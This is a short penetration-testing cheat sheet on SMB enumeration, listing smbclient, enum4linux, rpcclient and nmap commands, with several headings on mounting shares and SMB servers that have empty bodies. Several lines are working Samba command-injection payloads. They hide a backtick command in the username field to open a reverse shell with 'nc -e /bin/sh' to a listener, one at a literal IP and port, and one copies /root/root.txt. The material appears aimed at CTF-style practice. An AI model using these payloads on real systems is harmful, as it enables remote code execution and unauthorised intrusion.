SMB Enumeration¶
smbclient -L x.x.x.x
smbmount //x.x.x.x/share /mnt –o username=hodor,workgroup=hodor
smbclient \\\\x.x.x.x\\share
enum4linux -a ip
rpcclient -U "" x.x.x.x # Anonymous bind using rpcclient / Null connect
smbclient //MOUNT/share # Connect to SMB share
smbclient -U "/=\`nohup nc -e /bin/sh LHOST LPORT\`" -N -I ip //LAME/tmp
nmap -T4 -sS -sC -Pn -A --script smb-vuln* ip
smbclient //ip/tmplogon "./=\`nohup nc -e /bin/sh LHOST LPORT\`"
smbclient -U "/=\`nohup cat /root/root.txt > /tmp/ttt\`" -N -I ip //LAME/tmp
smbclient -U "/=\`nohup nc -e /bin/sh 10.10.15.11 60000\`" -N -I ip //LAME/tmp
smbclient -L ip
enum4linux -S ip
Nmap SMB Script Scan¶
-
SMB Users and Share Scan¶
-
SMB Vulnerability Scan¶
-
SMB Vulnerability Check with Unsafe Arguments¶
-
SMB Vulnerability Check¶
-
Mounting an NFS share without using locks¶
-
Mounting a CIFS share with specified credentials and domain¶
-
Mounting a CIFS share without specifying credentials (prompt for password)¶
-
Mounting a CIFS share with specified credentials¶
-
Mounting Share folder¶
Create a SMB Server¶
- In kali hosting a smb server
- In windows